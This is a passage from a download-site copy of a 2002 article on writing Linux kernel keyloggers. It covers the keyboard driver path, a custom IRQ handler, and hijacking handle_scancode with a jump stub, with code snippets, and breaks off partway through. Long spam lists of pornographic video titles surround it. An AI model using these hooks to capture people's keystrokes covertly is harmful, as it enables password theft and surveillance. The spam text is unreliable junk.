亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? vlogger.txt

?? 在Linux的一個獲取鍵值的程序
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
                      Writing Linux Kernel Keylogger|=---------------------=[ rd <rd@vnsecurity.net> ]=----------------------=||=-----------------------------------------------------------------------=||=------------------------=[ June 19th, 2002 ]=--------------------------=|--[ Contents 1 - Introduction 2 - How Linux keyboard driver work 3 - Kernel based keylogger approaches   3.1 - Interrupt handler   3.2 - Function hijacking       3.2.1 - handle_scancode       3.2.2 - put_queue       3.2.3 - receive_buf       3.2.4 - tty_read       3.2.5 - sys_read/sys_write 4 - vlogger   4.1 - The syscall/tty approach   4.2 - Features   4.3 - How to use 5 - Greets 6 - References--[ 1 - Introduction  This article is divided into two parts.  The first part of the papergives an overview on how the linux keyboard driver work, and discussesmethods that can be used to create a kernel based keylogger.  This partwill be useful for those who want to write a kernel based keylogger, or towrite their own keyboard driver (for supporting input of non-supportedlanguage in linux environment, ...) or to program taking advantage of manyfeatures in the Linux keyboard driver.  The second part presents detail of vlogger, a smart kernel based linuxkeylogger, and how to use it.  Keylogger is a very interesting code beingused widely in honeypots, hacked systems, ... by white and black hats.  Asmost of us known, besides user space keyloggers (such as iob, uberkey,unixkeylogger, ...), there are some kernel based keyloggers.  The earliestkernel based keylogger is linspy of halflife which was published in Phrack50 (see [4]).  And the recent kkeylogger is presented in 'Kernel BasedKeylogger' paper by mercenary (see [7]) that I found when was writing thispaper.  The common method of those kernel based keyloggers using is to loguser keystrokes by intercepting sys_read or sys_write system call.However, this approach is quite unstable and slowing down the whole systemnoticeably because sys_read (or sys_write) is the generic read/writefunction of the system; sys_read is called whenever a process wants to readsomething from devices (such as keyboard, file, serial port, ...).  Invlogger, I used a better way to implement it that hijacks the tty bufferprocessing function.  The reader is supposed to possess the knowledge on Linux Loadable KernelModule.  Articles [1] and [2] are recommended to read before furtherreading.--[ 2 - How Linux keyboard driver work  Lets take a look at below figure to know how user inputs from consolekeyboard are processed:  _____________            _________             _________          /             \ put_queue|         |receive_buf|         |tty_read/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->\               /         |         |           |buffer   |         \_____________/          |_________|           |_________|             _________          ____________    |         |sys_read|            |--->|/dev/ttyX|------->|user process|    |         |        |            |    |_________|        |____________|                            Figure 1  First, when you press a key on the keyboard, the keyboard will sendcorresponding scancodes to keyboard driver.  A single key press can producea sequence of up to six scancodes.  The handle_scancode() function in the keyboard driver parses the streamof scancodes and converts it into a series of key press and key releaseevents called keycode by using a translation-table via kbd_translate()function.  Each key is provided with a unique keycode k in the range 1-127.Pressing key k produces keycode k, while releasing it produces keycodek+128.   For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30.Releasing 'a' produces keycode 158 (128+30).  Next, keycodes are converted to key symbols by looking them up on theappropriate keymap.  This is a quite complex process. There are eightpossible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL,ShiftR, CtrlL and CtrlR), and the combination of currently active modifiersand locks determines the keymap used.  After the above handling, the obtained characters are put into the rawtty queue - tty_flip_buffer.  In the tty line discipline, receive_buf() function is called periodicallyto get characters from tty_flip_buffer then put them into tty read queue.  When user process want to get user input, it calls read() function onstdin of the process. sys_read() function will calls read() functiondefined in file_operations structure (which is pointed to tty_read) ofcorresponding tty (ex /dev/tty0) to read input characters and return to theprocess.  The keyboard driver can be in one of 4 modes:	- scancode (RAW MODE): the application gets scancodes for input.  	It is used by applications that implement their own keyboard 	driver (ex: X11)	- keycode (MEDIUMRAW MODE): the application gets information on	which keys (identified by their keycodes) get pressed and 	released.	- ASCII (XLATE MODE): the application effectively gets the 	characters as defined by the keymap, using an 8-bit encoding.	- Unicode (UNICODE MODE): this mode only differs from the ASCII 	mode by allowing the user to compose UTF8 unicode characters by 	their decimal value, using Ascii_0 to Ascii_9, or their 	hexadecimal (4-digit) value, using Hex_0 to Hex_9.  A keymap can 	be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol, 	where each X is an hexadecimal digit).   Those modes influence what type of data that applications will get askeyboard input.  For more details on scancode, keycode and keymaps, pleaseread [3].--[ 3 - Kernel based keylogger approaches  We can implement a kernel based keylogger in two ways by writing our ownkeyboard interrupt handler or hijacking one of input processing functions. ----[ 3.1 - Interrupt handler  To log keystrokes, we will use our own keyboard interrupt handler.  UnderIntel architectures, the IRQ of the keyboard controlled is IRQ 1.  Whenreceives a keyboard interrupt, our own keyboard interrupt handler read thescancode and keyboard status.  Keyboard events can be read and written viaport 0x60(Keyboard data register) and 0x64(Keyboard status register)./* below code is intel specific */#define KEYBOARD_IRQ 1 #define KBD_STATUS_REG 0x64 #define KBD_CNTL_REG 0x64 #define KBD_DATA_REG 0x60 #define kbd_read_input() inb(KBD_DATA_REG) #define kbd_read_status() inb(KBD_STATUS_REG) #define kbd_write_output(val) outb(val, KBD_DATA_REG) #define kbd_write_command(val) outb(val, KBD_CNTL_REG) /* register our own IRQ handler */request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);In my_keyboard_irq_handler():	scancode = kbd_read_input(); 	key_status = kbd_read_status(); 	log_scancode(scancode);  This method is platform dependent.  So it won't be portable amongplatforms.  And you have to be very careful with your interrupt handler ifyou don't want to crash your box ;)----[ 3.2 - Function hijacking   Based on the Figure 1, we can implement our keylogger to log user inputsby hijacking one of handle_scancode(), put_queue(), receive_buf(),tty_read() and sys_read() functions.  Note that we can't intercepttty_insert_flip_char() function because it is an INLINE function.------[ 3.2.1 - handle_scancode  This is the entry function of the keyboard driver (see keyboard.c).  Ithandles scancodes which are received from keyboard.# /usr/src/linux/drives/char/keyboard.cvoid handle_scancode(unsigned char scancode, int down);  We can replace original handle_scancode() function with our own to logsall scancodes.  But handle_scancode() function is not a global and exportedfunction.  So to do this, we can use kernel function hijacking techniqueintroduced by Silvio (see [5])./* below is a code snippet written by Plasmoid */static struct semaphore hs_sem, log_sem;static int logging=1;#define CODESIZE 7static char hs_code[CODESIZE];static char hs_jump[CODESIZE] =       "\xb8\x00\x00\x00\x00"      /*      movl   $0,%eax  */       "\xff\xe0"                  /*      jmp    *%eax    */   ;void (*handle_scancode) (unsigned char, int) =        (void (*)(unsigned char, int)) HS_ADDRESS;void _handle_scancode(unsigned char scancode, int keydown){       if (logging && keydown)          log_scancode(scancode, LOGFILE);           /*        * Restore first bytes of the original handle_scancode code.  Call        * the restored function and re-restore the jump code.  Code is        * protected by semaphore hs_sem, we only want one CPU in here at a        * time.        */            down(&hs_sem);           memcpy(handle_scancode, hs_code, CODESIZE);       handle_scancode(scancode, keydown);       memcpy(handle_scancode, hs_jump, CODESIZE);           up(&hs_sem);}HS_ADDRESS is set by the Makefile executing this commandHS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))  Similar to method presented in 3.1, the advantage of this method is theability to log keystrokes under X and the console, no matter if a tty isinvoked or not.  And you will know exactly what key is pressed on thekeyboard (including special keys such as Control, Alt, Shift, Print Screen,...).  But this method is platform dependent and won't be portable amongplatforms.  This method also can't log keystroke of remote sessions and isquite complex for building an advance logger.------[ 3.2.2 - put_queue  This function is called by handle_scancode() function to put charactersinto tty_queue. # /usr/src/linux/drives/char/keyboard.cvoid put_queue(int ch);   To intercept this function, we can use the above technique as in section(3.2.1).------[ 3.2.3 - receive_buf  receive_buf() function is called by the low-level tty driver to sendcharacters received by the hardware to the line discipline for processing.# /usr/src/linux/drivers/char/n_tty.c */static void n_tty_receive_buf(struct tty_struct *tty, const 				unsigned char *cp, char *fp, int count)cp is a pointer to the buffer of input character received by the device.fp is a pointer to a pointer of flag bytes which indicate whether acharacter was received with a parity error, etc.Lets take a deeper look into tty structures# /usr/include/linux/tty.hstruct tty_struct {	int	magic;	struct tty_driver driver;	struct tty_ldisc ldisc;	struct termios *termios, *termios_locked;

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美日韩综合在线免费观看| 丁香激情综合五月| 亚洲美女偷拍久久| 国产精品盗摄一区二区三区| 337p日本欧洲亚洲大胆精品 | 麻豆精品精品国产自在97香蕉 | 91丝袜美腿高跟国产极品老师| 久久99精品久久久久久国产越南| 久久精品国产**网站演员| 亚洲一区在线视频| 天天综合色天天| 日韩中文字幕av电影| 日韩主播视频在线| 久久aⅴ国产欧美74aaa| 国产一区不卡在线| 成人午夜看片网址| 成年人网站91| 色噜噜狠狠色综合欧洲selulu| 色婷婷久久久久swag精品| 欧美亚洲动漫另类| 欧美一区二区三区在线看| 日韩一级完整毛片| 国产亚洲一区二区三区在线观看| 国产亚洲精品bt天堂精选| 亚洲国产精品精华液ab| 中文字幕一区不卡| 偷拍一区二区三区四区| 久久aⅴ国产欧美74aaa| voyeur盗摄精品| 91搞黄在线观看| 日韩天堂在线观看| 国产精品免费av| 一级做a爱片久久| 老司机精品视频线观看86| 国产成人亚洲精品狼色在线| 色婷婷精品久久二区二区蜜臀av | 亚洲h动漫在线| 久久www免费人成看片高清| 成人免费av网站| 欧美日韩一级片在线观看| 精品国内二区三区| 亚洲九九爱视频| 韩日欧美一区二区三区| 欧美性大战久久久久久久| 欧美精品一区二区精品网| 亚洲男同1069视频| 久久99久久精品欧美| 色琪琪一区二区三区亚洲区| 欧美第一区第二区| 一区二区三区不卡视频在线观看| 激情五月婷婷综合| 欧美性大战久久久久久久蜜臀| 久久亚洲综合av| 日韩精品亚洲专区| 91在线porny国产在线看| 精品久久久久久无| 亚洲图片欧美综合| av在线播放一区二区三区| 91精品福利在线一区二区三区| 亚洲欧洲99久久| 久草在线在线精品观看| 欧美日韩视频在线观看一区二区三区 | 美女爽到高潮91| 91片黄在线观看| 国产午夜精品在线观看| 麻豆久久久久久久| 欧美日韩高清一区二区三区| 中文字幕一区二区三区四区不卡| 国产在线精品一区二区不卡了| 4438x成人网最大色成网站| 亚洲黄色在线视频| 91麻豆免费观看| 亚洲日本在线a| 成人app在线观看| 国产午夜亚洲精品午夜鲁丝片 | 婷婷国产v国产偷v亚洲高清| 色视频成人在线观看免| 亚洲欧美一区二区久久| caoporn国产精品| 国产精品免费网站在线观看| 国产成人亚洲综合色影视| 337p日本欧洲亚洲大胆色噜噜| 日本午夜一本久久久综合| 91麻豆精品国产自产在线| 五月开心婷婷久久| 91精品国产综合久久久久久久久久 | 蜜桃一区二区三区在线观看| 欧美精品久久久久久久久老牛影院| 亚洲精品综合在线| 91国产成人在线| 韩国精品主播一区二区在线观看 | 蜜乳av一区二区| 欧美成人aa大片| 国产精品亚洲综合一区在线观看| 久久精品一区二区| 成人午夜电影网站| 亚洲欧美另类久久久精品2019| 色猫猫国产区一区二在线视频| 亚洲综合视频网| 欧美一区二区三区思思人| 久久电影国产免费久久电影| 久久久久国产免费免费| 白白色 亚洲乱淫| 亚洲午夜羞羞片| 精品盗摄一区二区三区| 粉嫩嫩av羞羞动漫久久久| 亚洲视频一二三| 91精品国产免费| 福利电影一区二区| 一区二区不卡在线播放| 欧美tickling挠脚心丨vk| 成人美女在线观看| 亚洲不卡在线观看| 久久天天做天天爱综合色| 91首页免费视频| 久久99久久99| 亚洲综合自拍偷拍| 精品欧美一区二区在线观看| 99精品欧美一区二区三区小说 | 亚洲五码中文字幕| 国产色综合久久| 欧美人牲a欧美精品| 国产成人8x视频一区二区| 亚洲国产精品精华液网站| 久久美女高清视频| 欧美伦理电影网| av亚洲精华国产精华| 久久99热狠狠色一区二区| 亚洲男女毛片无遮挡| 久久亚洲私人国产精品va媚药| 91首页免费视频| 国产黄色精品视频| 三级久久三级久久| 1000精品久久久久久久久| 日韩精品一区二区三区视频播放| 99久久久无码国产精品| 激情成人综合网| 日韩成人午夜电影| 亚洲小少妇裸体bbw| 国产精品嫩草影院av蜜臀| 精品久久久久久久久久久院品网| 欧美系列一区二区| 色香蕉成人二区免费| 国产成人av一区二区三区在线| 日本va欧美va精品发布| 亚洲成人激情av| 亚洲精品第一国产综合野| 国产精品私人自拍| 国产欧美日韩精品一区| 欧美变态凌虐bdsm| 日韩视频免费观看高清完整版在线观看| av在线免费不卡| 91亚洲精品久久久蜜桃| www.66久久| 97se亚洲国产综合自在线| 国产成人精品在线看| 国产剧情一区二区| 91偷拍与自偷拍精品| 99精品在线免费| 91视频com| 色婷婷国产精品| 91麻豆精东视频| 91福利社在线观看| 在线观看亚洲a| 精品视频在线看| 91精品国产综合久久精品app| 欧美日本在线观看| 日韩欧美高清在线| 精品国精品国产尤物美女| 2021国产精品久久精品 | 黄色资源网久久资源365| 国产经典欧美精品| av成人免费在线观看| 97精品久久久午夜一区二区三区 | 国产精品久久久久影院亚瑟| 中文字幕精品在线不卡| 亚洲欧洲精品天堂一级 | 欧美三级日本三级少妇99| 91精品国产综合久久久蜜臀图片 | 精品国产伦一区二区三区观看体验| 欧美成人综合网站| 国产女人18毛片水真多成人如厕| 国产精品久久国产精麻豆99网站| 亚洲视频网在线直播| 亚洲mv在线观看| 精品一区二区三区在线观看国产| 国产精品一品视频| 日本高清无吗v一区| 91精品国产色综合久久不卡电影 | 国产成人在线免费观看| 成人激情av网| 777色狠狠一区二区三区| 久久色视频免费观看| 亚洲欧美另类图片小说| 久热成人在线视频| 99久久精品国产精品久久| 91精品国产综合久久久蜜臀粉嫩 | 国产精品国产三级国产aⅴ无密码| 亚洲一级二级三级在线免费观看| 久久 天天综合|